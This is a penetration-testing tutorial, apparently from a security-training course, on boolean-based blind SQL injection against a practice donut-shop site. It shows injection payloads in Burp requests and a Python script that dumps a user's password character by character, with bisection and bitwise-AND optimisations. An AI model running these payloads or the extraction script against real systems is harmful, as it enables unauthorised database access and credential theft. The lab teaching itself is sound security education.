

# Boolean Based SQLi

## Identifying the Vulnerability

**Note:** You can start the VM found in the question at the end of the next section for the module's practice web apps.


## Scenario

We have been contracted by Aunt Maria's Donuts to conduct a vulnerability assessment of their business website. We were not given any user credentials, as they wish for the test to simulate an external attacker as closely as possible.




[Aunt Maria's Donuts](#) [Home](#) [Locations](#) [History](#) [Log In](#) [Sign Up](#)

### Maria Pavelova

Maria Pavelova founded Aunt Maria's Donuts in 2012 after she visited Chelyabinsk which is of course famous for it's filled donuts. She has been in the business for 10 years. The donut shop is located in a small town called Uglich in Russia. They have a large variety of donutes, pastries, cakes, and pastas. It is a very convenient location to buy your donuts. Aunt Maria's has a wide variety and a great staff to make sure your orders are delivered on time. If you have any special orders, we are very happy to accomodate.



### We live for donuts!



After taking a quick tour of the home page, we move to the registration page to see if creating a user will gain us any additional access.

[Aunt Maria's Donuts](#) [Home](#) [Locations](#) [History](#) [Log In](#) [Sign Up](#)

## Sign up as a Donut Enjoyer!

Username

Use something cool!

Password

Use something strong!

Repeat Password

Once again please

Create Account

Aunt Maria's Donuts

© 2022

Pages

[Home](#)

[Locations](#)

[History](#)

[Log In](#)

[Sign Up](#)

After entering a username we notice the text `The username 'moody' is available` pop up underneath the field. This suggests that the database might've been queried to check if the username entered already exists or not, so this is worth checking out.

[Aunt Maria's Donuts](#) [Home](#) [Locations](#) [History](#) [Log In](#) [Sign Up](#)

## Sign up as a Donut Enjoyer!

Username

moody

The username 'moody' is available

Password

Use something strong!

Repeat Password

Once again please

Create Account

## Investigating the 'Username Availability' Check

Taking a look at the source code of `signup.php`, we can see that `usernameInput` calls `checkUsername()` on the `onfocusout` event, which occurs when the user shifts focus away from the username field.

```

</h1>
<script method="POST">
</script>
<input type="text" id="usernameInput" aria-describedby="usernameHelp" placeholder="Use something cool!" onfocusout="checkUsername()"
Help" class="form-control text-muted"></small>
</div>
<div class="form-control" id="exampleInputPassword1" placeholder="Use something strong!">
</div>
<div class="form-control" id="exampleInputPassword1" placeholder="Once again please">
</div>

```

A bit further down in the source code we can see a reference to `static/js/signup.js`.

```

51 <input type="password" class="form-control" id="exampleInputPassword1" placeholder="Once again please">
52 </div>
53 <button type="submit" class="btn btn-dark mt-3">Create Account</button>
54 </form>
55 <script src="static/js/signup.js"></script>
56 </div>
57 <script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCKRr/rE9/Qpg6AAGGjWfDMV
58 <script src="https://cdn.jsdelivr.net/npm/popper.js@1.12.9/dist/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKt3Rn7W3mgPxhU9K/
59 <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.0.0/dist/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8j0t6vLEHfe/JQG
60 <footer class="row row-cols-1 row-cols-sm-2 row-cols-md-5 py-5 my-4 border-top">
61 <div class="col mb-3">
62 <a href="/" class="d-flex align-items-center mb-3 link-dark text-decoration-none">
63 <h5>Aunt Maria's Donuts</h5>

```

Taking a closer look at this script, we can see the definition of the `checkUsername()` function.

Code: javascript

```

function checkUsername() {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            var json = JSON.parse(xhr.responseText);
            var username = document.getElementById("usernameInput").value;
            username = username.replace(/&/g, '&amp;').replace(/</g,
            '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
            var usernameHelp = document.getElementById("usernameHelp");

            if (json['status'] === 'available') {
                usernameHelp.innerHTML = "<span style='color:green>The
username '" + username + "' is <b>available</b></span>";
            } else {
                usernameHelp.innerHTML = "<span style='color:red>The
username '" + username + "' is <b>taken</b>, please use a different
one</span>";
            }
        }
    };
};

```

```
xhr.open("GET", "/api/check-username.php?u=" +
document.getElementById("usernameInput").value, true);
xhr.send();
}
```

What it does is:

1. Sends a GET request to `/api/check-username.php?u=<username>`
2. Updates the `usernameHelp` element to inform the user if the given username is available or taken, depending on the response from `/api/check-username.php`.

Using [BurpSuite](#) we can try a few various usernames out. For example `admin` and `maria` both return `status: taken`. More interesting, however, is that when we supply a single quote as the username the server returns an `Error 500: Internal Server Error`.

Request	Response
1 GET /api/check-username.php?u=' HTTP/1.1	1 HTTP/1.0 500 Internal Server Error
2 Host: 0.0.0.0	2 Host: 0.0.0.0
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0	3 Date: Fri, 02 Dec 2022 13:58:39 GMT
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8	4 Connection: close
5 Accept-Language: en-US,en;q=0.5	5 X-Powered-By: PHP/8.1.12
6 Accept-Encoding: gzip, deflate	6 Content-type: text/html; charset=UTF-8
7 Connection: close	7
8 Upgrade-Insecure-Requests: 1	8
9	
10	

## Confirming the SQL Injection Vulnerability

This suggests the presence of an `SQL injection` vulnerability. The query that is evaluated on the back-end most likely looks something like this:

Code: sql

```
SELECT Username FROM Users WHERE Username = '<u>'
```

By this logic, injecting `' or '1'='1` should make the query return something and in turn make the server think this 'username' is already taken. We can confirm this theory by sending the following request in Burp:

Request	Response
<pre>1 GET /api/check-username.php?u='%20or%20'1'='1 HTTP/1.1 2 Host: 0.0.0.0 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101   Firefox/102.0 4 Accept:   text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w   ebp,*/*;q=0.8 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate 7 Connection: close 8 Upgrade-Insecure-Requests: 1 9 10</pre>	<pre>1 HTTP/1.1 200 OK 2 Host: 0.0.0.0 3 Date: Fri, 02 Dec 2022 14:01:50 GMT 4 Connection: close 5 X-Powered-By: PHP/8.1.12 6 Content-Type: application/json 7 8 {   "status": "taken" }</pre>

In this case, we have found a `boolean-based SQL injection`. We can inject whatever we want, but the server will only respond with `status:taken` or `status:available` meaning we will have to rely on using "Yes/No" questions to infer the data we want to extract from the database.

# Designing the Oracle

## Theory

We want to write a script that will exploit the `blind SQLi` we found to dump the password of a target user. Our first step is to design an `oracle` that we can send queries to and receive either `true` or `false`.

Let's say we want to evaluate a basic query ( `q` ). Since we know the username `maria` exists in the system, we can add `' AND q--` - to see if our target query evaluates as `true` or `false`. This works because we know the server should result `status:taken` for `maria` and so if it remains `status:taken` then it means `q` is evaluated as `true`, and if it returns `status:available` then it means `q` evaluated as `false`.

Code: sql

```
SELECT Username FROM Users WHERE Username = 'maria' AND q-- -'
```

For example, to test the query `1=1` we can inject `maria' AND 1=1--` - and receive the result `status:taken` which indicates the server evaluated it as `true`.

```
Request
Pretty Raw Hex ↕ \n ≡
1 GET /api/check-username.php?u=maria'+AND+1%3d1--+ HTTP/1.1
2 Host: 0.0.0.0
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Upgrade-Insecure-Requests: 1
9
10

Response
Pretty Raw Hex Render ↕ \n ≡
1 HTTP/1.1 200 OK
2 Host: 0.0.0.0
3 Date: Fri, 02 Dec 2022 14:57:45 GMT
4 Connection: close
5 X-Powered-By: PHP/8.1.12
6 Content-Type: application/json
7
8 {
  "status":"taken"
}
```

Likewise, we can test the query `1=0` by injecting `maria' AND 1=0-- -` and receive the response `status:available` indicating the server evaluated it as `false`.

```
Request
Pretty Raw Hex ↕ \n ≡
1 GET /api/check-username.php?u=maria'+AND+1%3d0--+ HTTP/1.1
2 Host: 0.0.0.0
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Upgrade-Insecure-Requests: 1
9
10

Response
Pretty Raw Hex Render ↕ \n ≡
1 HTTP/1.1 200 OK
2 Host: 0.0.0.0
3 Date: Fri, 02 Dec 2022 14:58:11 GMT
4 Connection: close
5 X-Powered-By: PHP/8.1.12
6 Content-Type: application/json
7
8 {
  "status":"available"
}
```

**Note:** We must use a username that is already taken, like `maria` for this web app or any other user we register. This is so a query that returns true would give us `taken`. Otherwise, if we use a username that is not taken, then the output of any query would be `available`, whether it's true or false.

## Practice

In Python, we can script this as follows. The function `oracle(q)` URL-encodes our payload (`maria' AND (q)-- -`), and then sends it in a GET request to `api/check-username.php`. Upon receiving the response, it checks if the value of `status` is `taken` or `available`, indicating `true` or `false` query evaluations respectively.

Code: python

```
#!/usr/bin/python3

import requests
import json
import sys
```

```

from urllib.parse import quote_plus

# The user we are targeting
target = "maria"

# Checks if query `q` evaluates as `true` or `false`
def oracle(q):
    p = quote_plus(f'{target}' AND ({q})-- -")
    r = requests.get(
        f"http://192.168.43.37/api/check-username.php?u={p}"
    )
    j = json.loads(r.text)
    return j['status'] == 'taken'

# Check if oracle evalutes `1=1` and `1=0` as expected
assert oracle("1=1")
assert not oracle("1=0")

```

## Question

Use the oracle to figure out the number of rows in the `user` table. You can use the query below as a base:

Code: sql

```
(select count(*) from users) > 0
```

## Extracting Data

### Finding the Length

Now that we have a functioning oracle, we can get to work on dumping passwords! The first thing we have to do is find the length of the password. We can do this by using [LEN\(string\)](#), starting from `1` and going up until we get a positive result.

Code: python

```

# Get the target's password length
length = 0
# Loop until the value of `length` matches `LEN(password)`
while not oracle(f"LEN(password)={length}"):

```



```
length += 1
print(f"[*] Password length = {length}")
```

If we run the script at this point we should get the length of maria's password after a couple of seconds:

```
mayala@htb[/htb] $ python poc.py [*] Password length = <SNIP>
```

## Dumping the Characters

Knowing the length of the password we want to dump, we can start dumping one character at a time. In SQL, we can get a single character from a column with [SUBSTRING\(expression, start, length\)](#). In this case we are interested in the N-th character of the password, so we'd use `SUBSTRING(password, N, 1)`.

Next, to make things a bit simpler, we can convert this character into a decimal value using [ASCII\(character\)](#). ASCII characters have decimal values from [0 to 127](#), so we can simply ask the server if `ASCII(SUBSTRING(password, N, 1))=C` for values of C in `[0,127]`.

First, let's try to manually dump the first character, to further understand how this attack works. Let's start with the first character at position 1 (`SUBSTRING(password, 1, 1)`), and try the first character in the [ASCII table](#) with value 0. This would make the following SQL query:

Code: sql

```
maria' AND ASCII(SUBSTRING(password,1,1))=0-- --
```

Now, if we send a query with the above injection, we get `available`, meaning the first character is not ASCII character 0:

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	GET /api/check-username.php?u=			1	HTTP/1.1 200 OK		
2	maria'+AND+ASCII(SUBSTRING(password,1,1))%3d0---+ HTTP/1.1			2	Date: Wed, 04 Jan 2023 13:04:37 GMT		
3	Host: 10.129.90.112			3	Server: Apache/2.4.54 (Win64) PHP/8.1.13		
4	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)			4	X-Powered-By: PHP/8.1.13		
5	AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125			5	Content-Length: 22		
6	Safari/537.36			6	Connection: close		
7	Accept: */*			7	Content-Type: application/json		
8	Referer: http://10.129.90.112/signup.php			8			
9	Accept-Encoding: gzip, deflate			9	{		
10	Accept-Language: en-US,en;q=0.9				"status":"available"		
	Connection: close				}		

This is expected since the first ASCII character is a `null` character. This is why it may make more sense to limit our search to printable ASCII characters, which range from 32 to 126. For the sake of demonstrating a valid match, we will assume the first character of the password to



be the number 9 , or 57 in the [ASCII table](#). This time, when we send the query we get `taken` , meaning we got a valid match and that the 1st character in the `password` field is 57 in ASCII or the character 9 :

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	GET /api/check-username.php?u=			1	HTTP/1.1 200 OK		
2	maria'+AND+ASCII(SUBSTRING(password,1,1))%3d57--+ HTTP/1.1			2	Date: Wed, 04 Jan 2023 13:03:36 GMT		
3	Host: 10.129.90.112			3	Server: Apache/2.4.54 (Win64) PHP/8.1.13		
4	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)			4	X-Powered-By: PHP/8.1.13		
5	AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125			5	Content-Length: 18		
6	Safari/537.36			6	Connection: close		
7	Accept: */*			7	Content-Type: application/json		
8	Referer: http://10.129.90.112/signup.php			8			
9	Accept-Encoding: gzip, deflate			9	{		
10	Accept-Language: en-US,en;q=0.9				"status":"taken"		
	Connection: close				}		

## Automating it

In our Python script, it should look like this:

Code: python

```
# Dump the target's password
print("[*] Password = ", end='')
# Loop through all character indices in the password. SQL starts with 1, not 0
for i in range(1, length + 1):
    # Loop through all decimal values for printable ASCII characters (0x20-0x7E)
    for c in range(32,127):
        if oracle(f"ASCII(SUBSTRING(password,{i},1))={c}"):
            print(chr(c), end='')
            sys.stdout.flush()
print()
```

Running our script we should now get both the password length and the complete password. This will take quite a long time though; you can either wait it out or check out the `Optimizing` section and come back here.

```
mayala@htb[/htb] $ python poc.py [*] Password length = <SNIP> [*] Password = <SNIP>
```

## Optimizing

# The Need for Speed

Although the script we've written works, it is inefficient and slow. In total, the script sends 4128 requests and takes 1005.671 seconds. In this section, we will introduce two algorithms that we can use to drastically improve these numbers.

## Bisection

The `bisection` blind SQL injection algorithm works by repeatedly splitting the search area in half until we have only one option left. In this case, the search area is all possible ASCII values, so 0-127. Let's imagine we are trying to dump the 1st character of password which is the character '-' whose ASCII value is equal to 45.

Code: bash

```
Target = '-' = 45
```

We set the lower and upper boundaries of the search area to 0 and 127 respectively and calculate the midpoint (rounding down if necessary). Next, we use our SQL injection to evaluate the query `ASCII(SUBSTRING(password,1,1)) BETWEEN <LBound> AND <Midpoint>`. We are simply asking the server whether our character lies within this range, and if it does we can exclude all outside characters and keep reducing the range until we locate our character's position.

These are the seven requests that we will end up sending to dump the target character:

Code: bash

```
LBound = 0, UBound = 127
-> Midpoint = (0+127)//2 = 63
-> Is <target> between 0 and 63? -> ASCII(SUBSTRING(password,1,1)) BETWEEN 0
AND 63
-> Yes: UBound = 63 - 1 = 62

LBound = 0, UBound = 62
-> Midpoint = (0+62)//2 = 31
-> Is <target> between 0 and 31? -> ASCII(SUBSTRING(password,1,1)) BETWEEN 0
AND 31
-> No: LBound = 31 + 1 = 32

LBound = 32, UBound = 62
-> Midpoint = (32+62)//2 = 47
```

```

-> Is <target> between 32 and 47? -> ASCII(SUBSTRING(password,1,1)) BETWEEN
32 AND 47
-> Yes: UBound = 47 - 1 = 46

LBound = 32, UBound = 46
-> Midpoint = (32+46)//2 = 39
-> Is <target> between 32 and 39? -> ASCII(SUBSTRING(password,1,1)) BETWEEN
32 AND 39
-> No: LBound = 39 + 1 = 40

LBound = 40, UBound = 46
-> Midpoint = (40+46)//2 = 43
-> Is <target> between 40 and 43? -> ASCII(SUBSTRING(password,1,1)) BETWEEN
40 AND 43
-> No: LBound = 43 + 1 = 44

LBound = 44, UBound = 46
-> Midpoint = (44+46)//2 = 45
-> Is <target> between 44 and 45? -> ASCII(SUBSTRING(password,1,1)) BETWEEN
44 AND 45
-> Yes: UBound = 45 - 1 = 44

LBound = 44, UBound = 45
-> Midpoint = (44+45)//2 = 44
-> Is <target> between 44 and 44? -> ASCII(SUBSTRING(password,1,1)) BETWEEN
44 AND 44
-> No: LBound = 44 + 1 = 45

LBound = 45 = Target

```

We can see that the target value is now stored in `LBound`, and it only took 7 requests instead of the 45 that it would've taken the script we wrote last section.

**Tip:** You may also set the lower bound to 32 to limit the characters to printable ASCII ones, like we did in the previous section.

Implementing this algorithm in our script is not very hard. Just make sure to comment out the previous loop first.

Code: python

```

# Dump the target's password
# ...

# Dump the target's password (Bisection)

```

```

print("[*] Password = ", end='')
for i in range(1, length + 1):
    low = 0
    high = 127
    while low <= high:
        mid = (low + high) // 2
        if oracle(f"ASCII(SUBSTRING(password,{i},1)) BETWEEN {low} AND
{mid}"):
            high = mid - 1
        else:
            low = mid + 1
    print(chr(low), end='')
    sys.stdout.flush()
print()

```

In total, the bisection algorithm requires 256 requests and 61.556 seconds to dump maria's password. This is a great improvement.

## SQL-Anding

SQL-Anding is another algorithm we can use to reduce the number of requests necessary. It involves thinking a little bit in binary. ASCII characters have values 0–127, which in binary are 00000000–01111111. Since the most significant bit is always a 0, we only need to dump 7 of these bits. We can dump bits by having the server evaluate bitwise-and queries which are true if the targeted bit is a 1, and false if the bit is a 0.

For example, the number 23 in binary is 00010111, therefore 23 & 4 is 4 and 23 & 8 is 0. We can set up a query like ASCII(SUBSTRING(password,N,1)) & X) > 0 to test if the N'th character of password bitwise-and X is bigger than 0 or not to see if the bit which corresponds to 2^X is a 1 or 0.

An example of using this technique to dump the character 9 looks like this:

Code: bash

```

Target = '9' = 57

Is <target> bitwise-and 1 bigger than 0?
-> (ASCII(SUBSTRING(password,2,1)) & 1) > 0
-> Yes
-> Dump = .....1

Is <target> bitwise-and 2 bigger than 0?

```

```

-> (ASCII(SUBSTRING(password,2,1)) & 2) > 0
-> No
-> Dump = .....01

Is <target> bitwise-and 4 bigger than 0?
-> (ASCII(SUBSTRING(password,2,1)) & 4) > 0
-> No
-> Dump = ....001

Is <target> bitwise-and 8 bigger than 0?
-> (ASCII(SUBSTRING(password,2,1)) & 8) > 0
-> Yes
-> Dump = ...1001

Is <target> bitwise-and 16 bigger than 0?
-> (ASCII(SUBSTRING(password,2,1)) & 16) > 0
-> Yes
-> Dump = ..11001

Is <target> bitwise-and 32 bigger than 0?
-> (ASCII(SUBSTRING(password,2,1)) & 32) > 0
-> Yes
-> Dump = .111001

Is <target> bitwise-and 64 bigger than 0?
-> (ASCII(SUBSTRING(password,2,1)) & 64) > 0
-> No
-> Dump = 0111001

Dump = 0111001 = 57 = '9'

```

We can implement this algorithm in our Python script like this. Once again, don't forget to comment out the previous loops.

Code: python

```

# Dump the target's password
# ...

# Dump the target's password (Bisection)
# ...

# Dump the target's password (SQL-Anding)
print("[*] Password = ", end='')
for i in range(1, length + 1):

```

```

c = 0
for p in range(7):
    if oracle(f"ASCII(SUBSTRING(password,{i},1))&{2**p}>0"):
        c |= 2**p
    print(chr(c), end='')
    sys.stdout.flush()
print()

```

This algorithm, like the `bisection` algorithm takes 256 requests, but runs ever so slightly faster at 60.281 seconds due to the query using instructions that run quicker.

## Further Optimization

Although these algorithms are already a massive improvement, this is only the beginning. We can further improve them with multithreading.

In the case of `bisection`, the 7 requests we send to dump a character all depend on each other, so they must be sent in order, however individual characters are independent and can therefore be dumped in independent threads.

When it comes to `SQL-Anding`, the 7 requests to dump a character are all independent of each other, and all characters are independent of each other, so we can have all the requests we need to send run parallel.

If you're interested in learning more about this topic, then you can check out [this](#) video.